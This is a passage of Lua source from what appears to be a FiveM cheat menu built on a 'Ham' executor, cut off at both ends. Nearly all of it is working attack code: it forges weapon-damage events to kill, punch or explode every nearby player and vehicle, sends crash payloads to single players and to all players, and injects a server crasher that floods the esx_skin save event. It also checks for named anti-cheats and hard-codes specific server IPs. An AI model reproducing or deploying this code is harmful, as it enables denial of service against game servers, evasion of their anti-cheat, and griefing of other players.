200, 20, 20 for shot = 1, math.floor(totalDamage / damagePerShot) do if not menu.vars.bools[boolVar] or not menu.vars[threadVar] then break end local targetPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) then break end sendTargetDamage(serverId, targetPed) Wait(delayMs) end if menu.vars[activeTargetsVar] then menu.vars[activeTargetsVar][serverId] = nil end if useKillVehicleSpoof and menu.functions.endDestroyerKillVehicleSpoofBurst then menu.functions.endDestroyerKillVehicleSpoofBurst() end end) end CreateThread(function() if withExplosions then RequestNamedPtfxAsset("core") local deadline = GetGameTimer() + 4000 while not HasNamedPtfxAssetLoaded("core") and GetGameTimer() < deadline do if not menu.vars.bools[boolVar] or not menu.vars[threadVar] then menu.vars[threadVar] = false menu.vars[activeTargetsVar] = nil return end Wait(0) end end while menu.vars.bools[boolVar] and menu.vars[threadVar] do local playerCoords = GetEntityCoords(PlayerPedId()) for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() and NetworkIsPlayerActive(targetPlayer) and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsEntityDead(targetPed) and not IsPedDeadOrDying(targetPed, true) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if distance <= killRadius then local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then queueTarget(serverId) end end end end end if withExplosions then for explosion = 1, 12 do local angle = math.random() * math.pi * 2 local radius = 8.0 + math.random() * 172.0 local offsetX = math.cos(angle) * radius local offsetY = math.sin(angle) * radius local offsetZ = (math.random() - 0.5) * 55.0 local coordinateX = playerCoords.x + offsetX local coordinateY = playerCoords.y + offsetY local coordinateZ = playerCoords.z + offsetZ RequestCollisionAtCoord(coordinateX, coordinateY, coordinateZ) if HasNamedPtfxAssetLoaded("core") then UseParticleFxAsset("core") StartParticleFxNonLoopedAtCoord( "exp_air_rpg", coordinateX, coordinateY, coordinateZ + 0.15, 0.0, 0.0, 0.0, 5.0, false, false, false ) end AddExplosion(coordinateX, coordinateY, coordinateZ, 4, 0.0, true, true, 1.35) end end Wait(1) end menu.vars[threadVar] = false menu.vars[activeTargetsVar] = nil if useKillVehicleSpoof and menu.functions.forceEndDestroyerKillVehicleSpoof then menu.functions.forceEndDestroyerKillVehicleSpoof() end end) end function assembledMenuFunctions.getDestroyerExplodeModeChoices() if menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC then return { "World" } end return { "World", "All Vehicles" } end function assembledMenuFunctions.destroyerExplodeToggle(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerExplodeEnabled == true end menu.vars.bools.destroyerExplodeEnabled = enabled if not enabled then menu.functions.destroyerExplodeWorld({ toggleState = false }) menu.functions.destroyerExplodeAllVehicles({ toggleState = false }) return end local choices = menu.functions.getDestroyerExplodeModeChoices() local selectedIndex = menu.vars.selectors and menu.vars.selectors.destroyerExplodeMode or 1 if selectedIndex < 1 or selectedIndex > #choices then selectedIndex = 1 if menu.vars.selectors then menu.vars.selectors.destroyerExplodeMode = 1 end end if choices[selectedIndex] == "All Vehicles" then menu.functions.destroyerExplodeWorld({ toggleState = false }) menu.functions.destroyerExplodeAllVehicles({ toggleState = true }) else menu.functions.destroyerExplodeAllVehicles({ toggleState = false }) menu.functions.destroyerExplodeWorld({ toggleState = true }) end end function assembledMenuFunctions.destroyerExplodeWorld(toggleOptions) menu.functions.runDestroyerWorldDamageToggle(toggleOptions, { boolVar = "destroyerExplodeWorld", threadVar = "destroyerExplodeWorldThread", activeTargetsVar = "destroyerExplodeWorldActiveTargets", weaponHash = menu.utils.getSpawnExplosionWeaponHash(539292904), killRadius = 500.0, withExplosions = true }) end function assembledMenuFunctions.destroyerExplodeAllVehicles(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerExplodeAllVehicles == true end menu.vars.bools.destroyerExplodeAllVehicles = enabled if not enabled then menu.vars.destroyerExplodeAllVehiclesThread = false return end if not Ham or not Ham.sendWeaponDamageEvent then menu.vars.bools.destroyerExplodeAllVehicles = false menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if menu.vars.destroyerExplodeAllVehiclesThread then return end menu.vars.destroyerExplodeAllVehiclesThread = true CreateThread(function() local radius = 500.0 while menu.vars.bools.destroyerExplodeAllVehicles and menu.vars.destroyerExplodeAllVehiclesThread do local playerPed = PlayerPedId() local networkId = NetworkGetNetworkIdFromEntity(playerPed) local freecamActive = menu.vars and menu.vars.freecamMenuActive == true local origin if freecamActive then origin = GetFinalRenderedCamCoord() or GetGameplayCamCoord() or GetEntityCoords(playerPed) else origin = GetEntityCoords(playerPed) end local currentVehicle = GetVehiclePedIsIn(playerPed, false) for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if not menu.vars.bools.destroyerExplodeAllVehicles or not menu.vars.destroyerExplodeAllVehiclesThread then break end if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and vehicle ~= currentVehicle then local distance = #(GetEntityCoords(vehicle) - origin) if distance <= radius and menu.functions.sendExplodeVehicleDamageEvent then menu.functions.sendExplodeVehicleDamageEvent(vehicle, networkId) end end end Wait(250) end menu.vars.destroyerExplodeAllVehiclesThread = false end) end function assembledMenuFunctions.destroyerKillWorld(toggleOptions) menu.functions.runDestroyerWorldDamageToggle(toggleOptions, { boolVar = "destroyerKillWorld", threadVar = "destroyerKillWorldThread", activeTargetsVar = "destroyerKillWorldActiveTargets", weaponHash = 133987706, killRadius = 500.0, withExplosions = false, useKillVehicleSpoof = true }) end function assembledMenuFunctions.destroyerSlapEveryone(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerSlapEveryone == true end menu.vars.bools.destroyerSlapEveryone = enabled if not enabled then menu.vars._destroyerSlapEveryoneCancel = true menu.vars.destroyerSlapEveryoneThread = false local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasksImmediately(playerPed) end return end if menu.vars.destroyerSlapEveryoneThread then return end if IsPedInAnyVehicle(PlayerPedId(), false) then menu.vars.bools.destroyerSlapEveryone = false menu.utils.notify("Cannot use Slap Everyone while in a vehicle.", "error", 2000) return end menu.vars._destroyerSlapEveryoneCancel = false menu.vars.destroyerSlapEveryoneThread = true CreateThread(function() local radiusChoices = { 20, 50, 100, 200, 500 } local killStyle = menu.functions.getSlapKillStyle() local wasInvisible = menu.vars.bools and menu.vars.bools.invisibility local wasNoclipInvisible = menu.vars.bools and menu.vars.bools.noclipInvis while menu.vars.bools.destroyerSlapEveryone and menu.vars.destroyerSlapEveryoneThread do if IsPedInAnyVehicle(PlayerPedId(), false) then break end local selectedRadius = menu.vars.selectors and menu.vars.selectors.destroyerSlapEveryoneRadius or 2 local radius = radiusChoices[selectedRadius] or 50 local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local targets = {} for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() and NetworkIsPlayerActive(targetPlayer) and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) and not IsEntityDead(targetPed) and not IsPedInAnyVehicle(targetPed, false) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if distance <= radius then local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then targets[#targets + 1] = { serverId = serverId, playerId = targetPlayer, ped = targetPed, dist = distance } end end end end end table.sort(targets, function(first, second) return first.dist < second.dist end) if #targets == 0 then Wait(500) else for _, targetInfo in ipairs(targets) do if not menu.vars.bools.destroyerSlapEveryone or not menu.vars.destroyerSlapEveryoneThread or IsPedInAnyVehicle(PlayerPedId(), false) then break end local targetPed = GetPlayerPed(targetInfo.playerId) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) and not IsEntityDead(targetPed) and not IsPedInAnyVehicle(targetPed, false) then menu.functions.runStyleAttachKillPlayer( { targetInfo = targetInfo }, killStyle, "Slap Kill", { skipReturn = true, forceTeleportToTarget = true, suppressNotify = true, cancelCheck = function() return menu.vars._destroyerSlapEveryoneCancel == true end } ) end Wait(150) end end end local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasksImmediately(playerPed) end if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end menu.vars.destroyerSlapEveryoneThread = false end) end function assembledMenuFunctions.destroyerPunchEveryone(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerPunchEveryone == true end menu.vars.bools.destroyerPunchEveryone = enabled if not enabled then menu.vars.destroyerPunchEveryoneThread = false return end if not Ham or not Ham.sendWeaponDamageEvent then menu.vars.bools.destroyerPunchEveryone = false menu.utils.notify("Ham not available", "error", 2000) return end if menu.vars.destroyerPunchEveryoneThread then return end menu.vars.destroyerPunchEveryoneThread = true CreateThread(function() local weaponHash = GetHashKey("WEAPON_UNARMED") local boneId = 24818 while menu.vars.bools.destroyerPunchEveryone and menu.vars.destroyerPunchEveryoneThread do local maxDistance = menu.functions.getPunchEveryoneMaxDistance and menu.functions.getPunchEveryoneMaxDistance() or 50.0 local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local playerId = PlayerId() for _, targetPlayer in ipairs(GetActivePlayers()) do if not menu.vars.bools.destroyerPunchEveryone or not menu.vars.destroyerPunchEveryoneThread then break end if targetPlayer ~= playerId and NetworkIsPlayerActive(targetPlayer) and not menu.utils.isPlayerFriendByPlayerId(targetPlayer) then local targetPed = GetPlayerPed(targetPlayer) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) and not IsEntityDead(targetPed) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if distance <= maxDistance then local serverId = GetPlayerServerId(targetPlayer) local networkId = NetworkGetNetworkIdFromEntity(targetPed) if serverId and serverId > 0 and networkId and networkId ~= 0 then local boneCoords = GetPedBoneCoords(targetPed, boneId, 0.0, 0.0, 0.0) local offset = GetOffsetFromEntityGivenWorldCoords( targetPed, boneCoords.x, boneCoords.y, boneCoords.z ) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 3, hitGlobalId = networkId, hitComponent = 10, overrideDamage = true, damageFlags = 522, actionResultName = 2661951225, actionResultId = 32769, f104 = 1359188717, isNetTargetPos = true, localPosX = offset.x, localPosY = offset.y, localPosZ = offset.z, f112Data = distance, willKill = false, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) Wait(75) end end end end end Wait(150) end menu.vars.destroyerPunchEveryoneThread = false end) end function assembledMenuFunctions.isWaveShieldServer() return menu.vars.antiCheats and menu.vars.antiCheats.WaveShield == true end function assembledMenuFunctions.getPunchEveryoneMaxDistance() if menu.functions.isWaveShieldServer and menu.functions.isWaveShieldServer() then return 4.9 end local radiusChoices = { 20, 50, 100, 200, 500 } local selectedIndex = menu.vars.selectors and menu.vars.selectors.destroyerPunchEveryoneRadius or 2 return radiusChoices[selectedIndex] or 50 end function assembledMenuFunctions.getPunchPlayerMaxDistance() if menu.functions.isWaveShieldServer and menu.functions.isWaveShieldServer() then return 4.9 end return nil end function assembledMenuFunctions.generateRandomCrashWeaponNames(count) count = tonumber(count) or 20 if count < 1 then count = 1 end local characters = {} for character = 48, 57 do table.insert(characters, string.char(character)) end for character = 65, 90 do table.insert(characters, string.char(character)) end local weaponNames = {} for nameIndex = 1, count do local length = math.random(4, 10) local nameCharacters = {} for characterIndex = 1, length do nameCharacters[characterIndex] = characters[math.random(#characters)] end weaponNames[#weaponNames + 1] = "WEAPON_" .. table.concat(nameCharacters) end return weaponNames end function assembledMenuFunctions.getCrashPlayersWeaponHash() local endpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" local weaponName = "Weapon_unamred" if endpoint == "104.167.24.82" or (type(endpoint) == "string" and endpoint:find("104%.167%.24%.82")) then weaponName = "WEAPON_BONGS" end return GetHashKey(weaponName) end function assembledMenuFunctions.runCrashPayloadOnPlayer(serverId, entity, weaponName) if not Ham or not Ham.sendWeaponDamageEvent then return false end if not serverId or serverId <= 0 then return false end if menu.utils.isVanityMenuUser(serverId) then return false end if not entity or entity == 0 or not DoesEntityExist(entity) then return false end local networkId = NetworkGetNetworkIdFromEntity(entity) if not networkId or networkId == 0 then return false end local weaponHash = weaponName and GetHashKey(weaponName) or menu.functions.getCrashPlayersWeaponHash() for shot = 1, 3 do Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 2, parentGlobalId = 0, hitGlobalId = networkId, hitComponent = 4, overrideDamage = true, isNetTargetPos = false, damageFlags = 513, f133 = false, hasImpactDir = false, hitEntityWeapon = false, silenced = false, hitWeaponAmmoAttachment = false }) end return true end function assembledMenuFunctions.crashPlayer(target) if not menu.utils.requireMinServerPlayerCount( 15, "To use crash, there must be at least 15 players on the server." ) then return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end if not target or not target.targetInfo then menu.utils.notify("No player selected", "error", 2000) return end CreateThread(function() local targetInfo = target.targetInfo local serverId = tonumber(targetInfo.serverId) if not serverId or serverId <= 0 then return end local targetPed = menu.functions.resolveLaunchTargetPed and menu.functions.resolveLaunchTargetPed(target) or targetInfo.ped if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then menu.utils.notify("Invalid target", "error", 2000) return end if targetPed == PlayerPedId() then menu.utils.notify("Cannot crash yourself", "error", 2000) return end if menu.utils.isVanityMenuUser(serverId) then menu.utils.notify("VANITY USER!", "error", 2000) return end menu.functions.runCrashPayloadOnPlayer(serverId, targetPed) end) end function assembledMenuFunctions.destroyerSendCrash(target) local bypassChecks = menu.utils.canBypassServerCrashChecks and menu.utils.canBypassServerCrashChecks() local allowed = bypassChecks if not allowed and menu.utils.isHamUserInList then allowed = menu.utils.isHamUserInList(menu.vars.testServerCrashBypassUsers) end if not bypassChecks and menu.utils.requireLifetimeSubscriptions and not menu.utils.requireLifetimeSubscriptions(250) then return end if not allowed and menu.utils.isTestServerEndpoint and menu.utils.isTestServerEndpoint() then menu.utils.notify("NO TEST SERVER CLOWN", "error", 4000) return end if not bypassChecks and not menu.utils.requireMinServerPlayerCount(25, "Need at least 25 players on the server.") then return end if not Ham or not Ham.sendWeaponDamageEvent then return end local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local ownServerId = GetPlayerServerId(PlayerId()) local targetServerId, targetPed, targetDistance = nil, nil, math.huge for _, targetPlayer in ipairs(GetActivePlayers()) do local serverId = GetPlayerServerId(targetPlayer) if serverId ~= ownServerId then local ped = GetPlayerPed(targetPlayer) if ped and ped ~= 0 and DoesEntityExist(ped) and not IsEntityDead(ped) then local distance = #(playerCoords - GetEntityCoords(ped)) if distance < targetDistance then targetDistance = distance targetServerId = serverId targetPed = ped end end end end if (not targetServerId or not targetPed) and bypassChecks then for _, targetPlayer in ipairs(GetActivePlayers()) do local serverId = GetPlayerServerId(targetPlayer) if serverId ~= ownServerId then local ped = GetPlayerPed(targetPlayer) if ped and ped ~= 0 and DoesEntityExist(ped) then targetServerId = serverId targetPed = ped targetDistance = #(playerCoords - GetEntityCoords(ped)) break end end end end if not targetServerId or not targetPed then menu.utils.notify("Not possible, please try again later.", "error", 2000) return end local targetCoords = GetEntityCoords(targetPed) if menu.functions.safeTeleport then menu.functions.safeTeleport(targetCoords) else SetEntityCoordsNoOffset(playerPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false) end playerPed = PlayerPedId() local targetPlayer = GetPlayerFromServerId(targetServerId) if targetPlayer and targetPlayer ~= -1 then targetPed = GetPlayerPed(targetPlayer) end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then menu.utils.notify("Not possible, please try again later.", "error", 2000) return end targetDistance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) menu.utils.notify("Successfully loaded!", "success", 2000) CreateThread(function() Wait(1500) math.randomseed(GetGameTimer()) local weaponHashes = {} for _, weaponName in ipairs(menu.functions.generateRandomCrashWeaponNames(20)) do weaponHashes[#weaponHashes + 1] = GetHashKey(weaponName) end local payload = { damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 3, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 517, f112Data = targetDistance, willKill = true } for shot = 100, 5000000 do if not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end payload.weaponHash = weaponHashes[math.random(1, #weaponHashes)] Ham.sendWeaponDamageEvent(targetServerId, payload) end end) end function assembledMenuFunctions.destroyerCrashAllPlayers() if not menu.utils.requireMinServerPlayerCount(25, "Need at least 25 players on the server.") then return end CreateThread(function() local playerId = PlayerId() for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= playerId then local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then Ham.sendWorldStateCrash(serverId) end end end end) end function assembledMenuFunctions.destroyerCrashPlayer(target) if not menu.utils.requireMinServerPlayerCountForSingleCrash(25, "Need at least 25 players on the server.") then return end local style = menu.vars.selectors and menu.vars.selectors.crashPlayerStyle or 1 if style < 1 or style > 3 then style = 1 end if style == 1 then CreateThread(function() if not target or not target.targetInfo then menu.utils.notify("No player selected", "error", 2000) return end local serverId = tonumber(target.targetInfo.serverId) if not serverId or serverId <= 0 then return end if serverId == GetPlayerServerId(PlayerId()) then menu.utils.notify("Cannot crash yourself", "error", 2000) return end if Ham and Ham.sendWorldStateCrash then Ham.sendWorldStateCrash(serverId) end end) return end local styleOptions = {} for key, value in pairs(menu.functions.getBlameStyleByIndex(style - 1)) do styleOptions[key] = value end styleOptions.attachDuration = 2000 menu.functions.styleAttachKillPlayer(target, styleOptions, "Crash", { forceTeleportToTarget = true, skipKill = true, afterAttachFn = function(serverId) if Ham and Ham.sendWorldStateCrash then Ham.sendWorldStateCrash(serverId) end end }) end function assembledMenuFunctions.esxSkinServerCrasher() if not menu.vars.esxSkinCrasherUsers or not menu.vars.esxSkinCrasherUsers[Ham.getName()] then return end local payload = [[ CreateThread(function() local outfitString = "" for i = 0, 11000 do outfitString = outfitString .. "xAWDxajshdaxwdjcAIKxjdaWOjAWDxjoawd" end TriggerServerEvent('esx_skin:save', outfitString) while true do Wait(100) TriggerServerEvent('esx:triggerServerCallback', "esx_skin:getPlayerSkin") end end) ]] local function startPrintLoop() if menu.vars.esxSkinCrasherPrintLoopRunning then return end menu.vars.esxSkinCrasherPrintLoopRunning = true CreateThread(function() while _G.runmenu do if not menu.vars.esxSkinCrasherPrintLoopRunning then return end Wait(100) print("----------------------------------------") end end) end CreateThread(function() menu.utils.notify("Loading...", "info", 1000) Wait(1000) local hasEsxSkin = Ham.hasResource("esx_skin") local injected = false if hasEsxSkin then menu.utils.notify("Injecting in Exploit #1", "info", 1000) Wait(1000) menu.utils.notify("Loaded Server Crasher", "success", 1000) Wait(1000) Ham.Execute("esx_skin", payload) injected = true else menu.utils.notify("Injecting in Exploit #2", "info", 1000) Wait(1000) menu.utils.notify("Loaded Server Crasher", "success", 1000) Wait(1000) injected = menu.utils.safeExecute(payload) == true if not injected then menu.utils.notify("Failed to inject Server Crasher", "error", 3000) end end if injected then startPrintLoop() end end) end function assembledMenuFunctions.destroyerSendCrashV2(target) menu.ui.promptRiskyConfirm({}, function() if not menu.utils.requireMinServerPlayerCount(25, "Need at least 25 players on the server.") then return end menu.utils.notify("Loading Crasher...", "info", 1500) CreateThread(function() Wait(1500) menu.utils.notify("Kill Server..", "info", 2000) Wait(500) if not Ham or not Ham.sendWeaponDamageEvent then return end local endpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" local serverIp = menu.utils.getServerIp and menu.utils.getServerIp() or "" local weaponHash = 1317494643 if serverIp == "185.229.207.5" or (type(endpoint) == "string" and endpoint:find("185%.229%.207%.5")) then weaponHash = 2725352035 end local config = { range = 500.0, weapon = weaponHash, damage = 1, hits = 200376420520689663, threads = 50, random = true } local sendDamage = Ham.sendWeaponDamageEvent local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local parentNetworkId = NetworkGetNetworkIdFromEntity(playerPed) local function getVehicles(maxDistance) local vehicles = {} for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) and NetworkGetEntityIsNetworked(vehicle) and GetVehicleEngineHealth(vehicle) > 0 then local inRange = true if maxDistance then inRange = maxDistance >= #(playerCoords - GetEntityCoords(vehicle)) end if inRange and NetworkGetEntityOwner(vehicle) ~= -1 then vehicles[#vehicles + 1] = vehicle end end end return vehicles end local vehicles = getVehicles(config.range) if #vehicles == 0 then vehicles = getVehicles(nil) end local targetNetworkId = 0 local targetServerId = GetPlayerServerId(PlayerId()) local selectedVehicle if #vehicles > 0 then if config.random then selectedVehicle = vehicles[math.random(#vehicles)] or vehicles[1] end if not config.random then local nearestDistance = config.range for _, vehicle in ipairs(vehicles) do local distance = #(playerCoords - GetEntityCoords(vehicle)) if distance < nearestDistance then nearestDistance = distance selectedVehicle = vehicle end end end local owner = NetworkGetEntityOwner(selectedVehicle) local networkId = NetworkGetNetworkIdFromEntity(selectedVehicle) local serverId = GetPlayerServerId(owner) if networkId and networkId ~= 0 and serverId and serverId > 0 then targetNetworkId = networkId targetServerId = serverId end end local payload = { weaponHash = config.weapon, damage = config.damage, damageType = 1, hitGlobalId = targetNetworkId, hitComponent = 0, overrideDamage = true, damageFlags = 1, parentGlobalId = parentNetworkId, willKill = true, f133 = true, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false } local hitCount = math.max(1, math.min(config.hits, 1000000)) local hitsPerThread = math.max(1, math.floor(hitCount / config.threads)) pcall(sendDamage, targetServerId, payload) for thread = 1, config.threads do CreateThread(function() for hit = 1, hitsPerThread do pcall(sendDamage, targetServerId, payload) end end) end end) end) end function assembledMenuFunctions.destroyerCrashPlayers(target) if not menu.utils.requireMinServerPlayerCount( 15, "To use crash, there must be at least 15 players on the server." ) then return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end CreateThread(function() local playerId = PlayerId() for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= playerId then local targetPed = GetPlayerPed(targetPlayer) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed, false) if coords then local serverId = GetPlayerServerId(targetPlayer) menu.functions.runCrashPayloadOnPlayer(serverId, targetPed) Wait(25) end end end end end) end function assembledMenuFunctions.silentKillAllPlayers(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.silentKillAllPlayers == true end menu.vars.bools.silentKillAllPlayers = enabled if not enabled then menu.vars.silentKillAllPlayersThread = false if not menu.vars.bools or not menu.vars.bools.rageBot then Ham.removeWeaponOverride(GetHashKey("WEAPON_PISTOL")) Ham.removeWeaponDamageOverride(GetHashKey("WEAPON_PISTOL")) end menu.utils.safeExecute([[ _G.Citizen.Bongs.silentKillAllActive = nil if _G.Citizen.Bongs.silentKillAllPed and DoesEntityExist(_G.Citizen.Bongs.silentKillAllPed) then DeleteEntity(_G.Citizen.Bongs.silentKillAllPed) end _G.Citizen.Bongs.silentKillAllPed = nil ]]) return end if menu.vars.silentKillAllPlayersThread then return end local pedModel = menu.utils.getFirstWhitelistedSilentAttackPed() if not pedModel then menu.vars.bools.silentKillAllPlayers = false menu.utils.notify("Function is not available", "error", 2000) return end menu.vars.silentKillAllPlayersThread = true menu.utils.printSilentAttackPedModel("Silent Kill All", pedModel) Ham.setWeaponOverride(GetHashKey("WEAPON_PISTOL"), GetHashKey("WEAPON_UNARMED")) Ham.setWeaponDamageOverride(GetHashKey("WEAPON_PISTOL"), 50) local friendEntries = {} for serverId, isFriend in pairs(menu.vars.friendList or {}) do if isFriend then local numericId = tonumber(serverId) if numericId then table.insert(friendEntries, string.format("[%d]=true", numericId)) end end end local friendListLiteral = "{" .. table.concat(friendEntries, ",") .. "}" local script = [[ local function GetTargetBonePosition(targetPed, boneId) if not DoesEntityExist(targetPed) then return nil end local boneIndex = GetPedBoneIndex(targetPed, boneId) if boneIndex == -1 then return GetEntityCoords(targetPed, true) end return GetPedBoneCoords(targetPed, boneIndex, 0.0, 0.0, 0.0) end local pmFriendList = ]] .. friendListLiteral .. [[ local function IsFriendPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) or not IsPedAPlayer(ped) then return false end local pid = NetworkGetPlayerIndexFromPed(ped) if not pid or pid == -1 then return false end local sid = GetPlayerServerId(pid) return sid and (pmFriendList[sid] == true or pmFriendList[tostring(sid)] == true) or false end Citizen.CreateThread(function() _G.Citizen.Bongs.silentKillAllActive = true local pedModelName = "]] .. pedModel .. [[" local silentKillZOffset = -7.0 local fireWeaponHash = ]] .. GetHashKey("WEAPON_PISTOL") .. [[ local targetBones = { 0x796E, 0x9995, 0xB1C5, 0x9D4D, 0x58B7, 0x0BB0, 0x49D9, 0xDEAD, 0x2E28, 0xCA72, 0xE39F, 0x9000, 0xF9BB, 0xCC4D, 0x3779, 0x512D, 0x083C } local model = GetHashKey(pedModelName) local playerPed = PlayerPedId() if not _G.Citizen.Bongs.silentKillAllPed or not DoesEntityExist(_G.Citizen.Bongs.silentKillAllPed) then RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local playerCoords = GetEntityCoords(playerPed) _G.Citizen.Bongs.silentKillAllPed = CreatePed(4, model, playerCoords.x, playerCoords.y, playerCoords.z + silentKillZOffset, 0.0, true, true) pcall(function() local ent = Entity(_G.Citizen.Bongs.silentKillAllPed) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityAlpha(_G.Citizen.Bongs.silentKillAllPed, 0, false) SetEntityInvincible(_G.Citizen.Bongs.silentKillAllPed, true) FreezeEntityPosition(_G.Citizen.Bongs.silentKillAllPed, false) SetBlockingOfNonTemporaryEvents(_G.Citizen.Bongs.silentKillAllPed, true) AttachEntityToEntity(_G.Citizen.Bongs.silentKillAllPed, playerPed, 0, 0.0, 0.0, silentKillZOffset, 0.0, 0.0, 0.0, false, false, false, false, 2, true) SetModelAsNoLongerNeeded(model) end local function getBestTargetBoneNoFov(targetPed) local resX, resY = GetActiveScreenResolution() local centerX, centerY = 0.5, 0.5 local bestCoord = nil local bestDistPx = 1e9 for i = 1, #targetBones do local coord = GetTargetBonePosition(targetPed, targetBones[i]) if coord and coord.x then local onScreen, sx, sy = GetScreenCoordFromWorldCoord(coord.x, coord.y, coord.z) if onScreen then local dx = (sx - centerX) * resX local dy = (sy - centerY) * resY local distPx = math.sqrt(dx * dx + dy * dy) if distPx < bestDistPx then bestDistPx = distPx bestCoord = coord end end end end if bestCoord then return bestCoord end return GetTargetBonePosition(targetPed, 0x796E) or GetTargetBonePosition(targetPed, 31086) end local function buildShotData(targetPed, shooterPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return nil end if IsFriendPed(targetPed) then return nil end local targetCoord = getBestTargetBoneNoFov(targetPed) if not targetCoord or not targetCoord.x then return nil end local vehicle = GetVehiclePedIsIn(targetPed, false) local entityToIgnore = (vehicle ~= 0) and vehicle or nil local randomDamage = _G.Citizen.Bongs.rageForceDamage or 50 if not shooterPed or not DoesEntityExist(shooterPed) then return nil end local targetPos = vector3(targetCoord.x, targetCoord.y, targetCoord.z) local shooterPos = GetEntityCoords(shooterPed) local dirToTarget = shooterPos - targetPos local len = math.sqrt(dirToTarget.x * dirToTarget.x + dirToTarget.y * dirToTarget.y + dirToTarget.z * dirToTarget.z) if len > 0.01 then dirToTarget = dirToTarget / len else dirToTarget = vector3(0, 0, 1) end return { target = targetPed, shooterPed = shooterPed, fireWeaponHash = fireWeaponHash, randomDamage = randomDamage, entityToIgnore = entityToIgnore, startPos = targetPos - (dirToTarget * 0.15), endPos = targetPos } end local function prepareBatchShooter(shotData) if not shotData then return end if not HasPedGotWeapon(shotData.shooterPed, fireWeaponHash, false) then GiveWeaponToPed(shotData.shooterPed, fireWeaponHash, 250, true, false) end SetCurrentPedWeapon(shotData.shooterPed, GetHashKey("WEAPON_UNARMED"), true) end local function fireShotDataAsync(shotData) if not shotData then return end Citizen.CreateThread(function() ShootSingleBulletBetweenCoordsIgnoreEntity( shotData.startPos.x, shotData.startPos.y, shotData.startPos.z, shotData.endPos.x, shotData.endPos.y, shotData.endPos.z, shotData.randomDamage, true, shotData.fireWeaponHash, shotData.shooterPed, true, false, 1000.0, shotData.entityToIgnore ) end) end while _G.Citizen.Bongs.silentKillAllActive do local playerPed = PlayerPedId() local shooterPed = _G.Citizen.Bongs.silentKillAllPed if not shooterPed or not DoesEntityExist(shooterPed) then break end if not IsEntityAttachedToEntity(shooterPed, playerPed) then AttachEntityToEntity(shooterPed, playerPed, 0, 0.0, 0.0, silentKillZOffset, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end 